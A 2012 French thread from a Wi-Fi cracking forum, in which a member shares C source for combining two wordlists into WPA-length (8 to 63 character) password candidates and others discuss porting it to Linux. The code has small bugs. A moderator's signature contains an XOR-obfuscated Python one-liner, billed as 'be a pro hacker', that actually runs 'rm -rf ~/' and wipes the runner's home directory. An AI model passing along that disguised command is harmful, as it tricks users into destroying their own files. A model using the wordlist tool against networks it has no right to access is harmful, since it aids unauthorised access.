Crack-wifi.com FORUM

LE FORUM DU SITE

Wifi, Backtrack, crack WEP et WPA...

Vous n'êtes pas identifié(e).  

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#1 03-09-2012 13:04:47

Telestra
Membre Hyperactif
Inscription : 01-05-2012
Messages : 52

Outil pour combiner deux listes (code source C & exe)

Bonjour.

Voici ma première et modeste contribution à ce forum dont j'ai tant appris.
Je propose ici un soft permettant de combiner deux listes, les "multiplier" entre elles.

Liste A:

A
B
C

Liste B:

1
2
3

Liste résultante:

A1
A2
A3
B1
B2
B3
C1
C2
C3

Cela permet de croiser entre elles deux listes, de mots et de chiffres.
Par exemple une liste de (mots,noms,prénoms,villes,départements,pays) avec une liste de (chiffres, dates sous plusieurs formats, codes postaux).
Il est important de noter que type de combination produit des listes énormes.
En croisant deux fichiers de quelques mégas, j'ai généré une liste de 200 Go.


Solution linux:
Antares145 a proposé ici une manière de le faire directement sous linux. Ca marche parfaitement, mais ça tournait lentement chez moi.


Solution maison par Telestra

J'ai donc écris ce petit programme Windows Console Application en C sous Dev C++.
Je programme comme une chêvre...Mais ça marche bien.
Le programme "pisse" 350 Mo par minutes sur mon PC, donc mieux que la solution linux.

Dans l'exemple ci-dessous, +100Go de données générées à partir de deux fichiers de 1,6 et 0,3 Mo.
http://i46.tinypic.com/5y5a37.jpg


Procèdure:
L'executable lit progressivement les deux fichiers d'entrée "name.txt" et "numb.txt"
Les deux fichiers d'entrée doivent être formatés comme une liste standard, une entrée par ligne, [b]sans vide à la fin des fichiers, sinon ça plante![/b].
Le programme associe le premier mot du premier fichier a chaque mot du deuxième fichier.
Si le résultat fait entre 8 et 63 char, il est directement écrit dans le fichier "out.txt"
Puis on passe au mot suivant jusqu'à la fin du fichier.
Le processus est réalisé "à la volée" sans stockage en mémoire des données lues.
Cela permet en théorie de croiser des fichiers de taille illimité.

Et le code...

#include <stdio.h> 
#include <conio.h> 
#include <windows.h>

FILE	*file_in1; // fichier d'entrée 1
FILE	*file_in2; // fichier d'entrée 2
FILE	*file_out; // fichier de sortie

char	in1_temp[1024];       // ligne du fichier d'entrée 1 (incluant le retour chariot)
char    in2_temp[1024];       // ligne du fichier d'entrée 2 (incluant le retour chariot)
char	in1[1024];            // ligne du fichier d'entrée 1
char    in2[1024];            // ligne du fichier d'entrée 2
char    out[1024];
char    temp[1024];

int nbrligne=0;
int compteur=1;
float pourc;

int main(void)
{

    if (!(file_in1 = fopen("name.txt", "r+"))){	// si on ouvre pas le fichier (r+ lecture écriture)
	printf("* ERROR * Can't open the file name \n");
	return EXIT_SUCCESS;
    }

    if (!(file_in2 = fopen("numb.txt", "r+"))){	// si on ouvre pas le fichier (r+ lecture écriture)
	printf("* ERROR * Can't open the file numb \n");
	return EXIT_SUCCESS;
    }

    if (!(file_out = fopen("out.txt", "w+"))){	// si on ouvre pas le fichier (r+ lecture écriture)
	printf("* ERROR * Can't open the file out \n");
	return EXIT_SUCCESS;
    }
    

    while (!feof(file_in1))
    {
          fgets(temp, 1024, file_in1);
          nbrligne++;
    }
    fseek(file_in1, 0, SEEK_SET);


    
	fgets(in1_temp, 1024, file_in1);
	strncpy(in1,in1_temp,strlen(in1_temp)-1);
	
    while (!feof(file_in1))                    // tant qu'on ne lit pas le marqueur de fin de fichier "*!*!*!" on continue de lire	
	{								
		fgets(in2_temp, 1024, file_in2);            // on lit la ligne
        strncpy(in2,in2_temp,strlen(in2_temp)-1);   // on enlève le retour chariot
       
		while(!feof(file_in2))                 // tant qu'on ne lit pas le marqueur de fin de fichier "*!*!*!" on continue de lire	
        {
                                               
            sprintf(out,"%s%s", in1,in2);                                
            if (strlen(out)>=8 && strlen(out)<=63)     // si le pass est compris entre 8 et 63 char
            {                                          // alors...
               fprintf(file_out,"%s%s\n",in1,in2);     // on écrit dans le fichier              
            }
            memset (out, 0, sizeof (out));             // on nettoie les variables
            memset (in2, 0, sizeof (in2));
            memset (in2_temp, 0, sizeof (in1_temp));
            fgets(in2_temp, 1024, file_in2);
            strncpy(in2,in2_temp,strlen(in2_temp)-1);       // on enlève le retour chariot
            
        }
        
        fseek(file_in2, 0, SEEK_SET);                       // on revient au début de la liste des nombres
        
        memset (in1, 0, sizeof (in1));                      // on nettoie les variables
        memset (in1_temp, 0, sizeof (in1_temp));
        
        
        compteur++;
        pourc = (float)compteur/(float)nbrligne*100;
        printf("%d mot associe sur un total de %d -> %.2f %%\n", compteur, nbrligne, pourc);

        
        fgets(in1_temp, 1024, file_in1);                  // on passe au mot suivant
		strncpy(in1,in1_temp,strlen(in1_temp)-1);
	}
	printf("\nThe job is done!");
    getch();
}

Tout commentaire ou question sont les bienvenus smile

Dernière modification par Telestra (05-09-2012 10:11:20)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

#2 03-09-2012 16:21:45

spawn
Modérateur
Inscription : 14-01-2011
Messages : 1 007

Re : Outil pour combiner deux listes (code source C & exe)

\o/ merci pour cette sympathique contribution


@9b0ae3c4 méric.fr
be a pro hacker : python -c "exec ''.join([chr(ord(i)^0x46) for i in '/+6)42f)5}f)5h5?52#+nd4+fk4 f8ido'])"

Hors Ligne

#3 03-09-2012 16:23:24

Telestra
Membre Hyperactif
Inscription : 01-05-2012
Messages : 52

Re : Outil pour combiner deux listes (code source C & exe)

Arf, il y avait une erreur dans mon code.
J'ai réparé ça en ajoutant un indicateur de l'avancement pour vérifier que ça tourne.

Autre sujet : qqn saurait-il si ce code (Console App Windows) est adaptable sous Linux et comment le compiler ?

Dernière modification par Telestra (03-09-2012 17:10:22)

Hors Ligne

#4 03-09-2012 17:26:39

goliate
Membre Irremplaçable
Inscription : 06-12-2009
Messages : 1 413
Site Web

Re : Outil pour combiner deux listes (code source C & exe)

Telestra a écrit :

Arf, il y avait une erreur dans mon code.
J'ai réparé ça en ajoutant un indicateur de l'avancement pour vérifier que ça tourne.

Autre sujet : qqn saurait-il si ce code (Console App Windows) est adaptable sous Linux et comment le compiler ?

Que veut tu dire par là?

Si tu veut savoir si ton code tournera sous Linux, la réponse et oui, car tu l'as écrit en c.


só deus podem me julgar
719895banniere3.gif
só deus podem me julgar

Hors Ligne

#5 04-09-2012 11:16:33

Telestra
Membre Hyperactif
Inscription : 01-05-2012
Messages : 52

Re : Outil pour combiner deux listes (code source C & exe)

Cool, en plus je viens de voir que Backtrack inclu un compilateur smile

Hors Ligne

#6 04-09-2012 17:43:43

Squaks
Membre Irremplaçable
Inscription : 18-06-2009
Messages : 974

Re : Outil pour combiner deux listes (code source C & exe)

goliate a écrit :

Si tu veut savoir si ton code tournera sous Linux, la réponse et oui, car tu l'as écrit en c.

#include <windows.h>

Sharkoff

Hors Ligne

#7 04-09-2012 18:26:20

Fuji
Membre Irremplaçable
Lieu : Saint Script-sur-Shell
Inscription : 13-12-2010
Messages : 783

Re : Outil pour combiner deux listes (code source C & exe)

Pourquoi inclure cette bibliothèque Squaks qui fait appelle aux fonctions de l'API Windows alors qu'il veut faire exécuter son programme sous Linux ? il suffit juste de le compiler avec GCC.

Hors Ligne

#8 04-09-2012 18:31:36

antares145
Membre d'honneur
Inscription : 29-09-2009
Messages : 5 199
Site Web

Re : Outil pour combiner deux listes (code source C & exe)

Ce que Squaks veut dire (et qu'il me corrige si je me trompe), c'est justement que le code fourni plus haut ne compilera pas tel-quel avec GCC, à cause de l'inclusion de windows.h wink

Oui, le code peut sûrement être adapté pour tourner sous Linux, mais comme il est présenté là il ne pourra être compilé qu'avec MinGW (le compilateur pour Windows intégré à BackTrack)

Content de te revoir dans le coin Squaks smile

Telestra a écrit :

Antares145 a proposé ici une manière de le faire directement sous linux. Ca marche parfaitement, mais ça tournait lentement chez moi.

Ah, mais je n'ai jamais prétendu que ma solution était efficace ni même adaptée à de très gros dicos. Par contre elle était rapide à mettre en place pour un usage occasionnel smile Et comme je ne savais pas que tu savais programmer en C++ (comme une chèvre mais c'est déjà mieux que moi) j'avais omis la solution native. Après, c'est clair que si tu programmes l'équivalent en C++ POSIX (multi-plateforme) tu devrais avoir le même genre de performances sous Linux que sous Win !

Hors Ligne

#9 04-09-2012 19:12:10

Fuji
Membre Irremplaçable
Lieu : Saint Script-sur-Shell
Inscription : 13-12-2010
Messages : 783

Re : Outil pour combiner deux listes (code source C & exe)

Il y a un truc que je ne comprend pas là hmm pourquoi Squaks aurait ajouté une <windows.h> s'il a vu que le code source en haut comportait déjà une <windows.h> ?

Hors Ligne

#10 04-09-2012 19:42:12

Fuji
Membre Irremplaçable
Lieu : Saint Script-sur-Shell
Inscription : 13-12-2010
Messages : 783

Re : Outil pour combiner deux listes (code source C & exe)

Arf, j'ai compris, c'est Goliate big_smile

Dernière modification par Fuji (04-09-2012 19:49:51)

Hors Ligne

#11 05-09-2012 08:22:20

goliate
Membre Irremplaçable
Inscription : 06-12-2009
Messages : 1 413
Site Web

Re : Outil pour combiner deux listes (code source C & exe)

Fuji a écrit :

Arf, j'ai compris, c'est Goliate big_smile

^^, oui c'est vrai que j'ai prit le temps de relire le code ,(car j'étais a la boure le jour ou j'ai poster).


só deus podem me julgar
719895banniere3.gif
só deus podem me julgar

Hors Ligne

#12 05-09-2012 10:43:20

Telestra
Membre Hyperactif
Inscription : 01-05-2012
Messages : 52

Re : Outil pour combiner deux listes (code source C & exe)

Hellooooooooo

MAJ : le programme n'écrit les pass que si ils sont compris entre 8 et 63 char !
-> 33% de place de gagné sur mon output !

Conversion Linux
Pas encore testé, mais ça pourait être la bonne recette:
- remplacer windows.h par string.h (pour memset et strcpy)
- supprimer les "return success"
-> ça se compile sous windows, reste à tester sous linux

Dernière modification par Telestra (05-09-2012 17:10:09)

Hors Ligne

Annonce

Visitez la boutique Wifi-highpower.com, votre revendeur agr Alfa Network: du matriel Wifi slectionn, cartes Wifi USB Awus036h et Awus036nh, antennes omnis, yagis, panel, amplis wifi, accessoires...

Pied de page des forums


Le coin des bonnes affaires, achats informatiques:


|   Alfa 1000 mW AWUS036H   |    Linksys WRT54GL   |    Misco, informatique   |   
 |    Ebay   |    PC portables   |    PC Gamers & Tuning   |    Cles USB   |   
|   Disques durs externes 2 To   |   
|   Wifi-highpower.com   |   


Server Stats - [ Generated in 0.04 seconds ]   Forum Stat - [ Most users ever online on the forum was : 150 on 20-09-2009 17:06:59 ]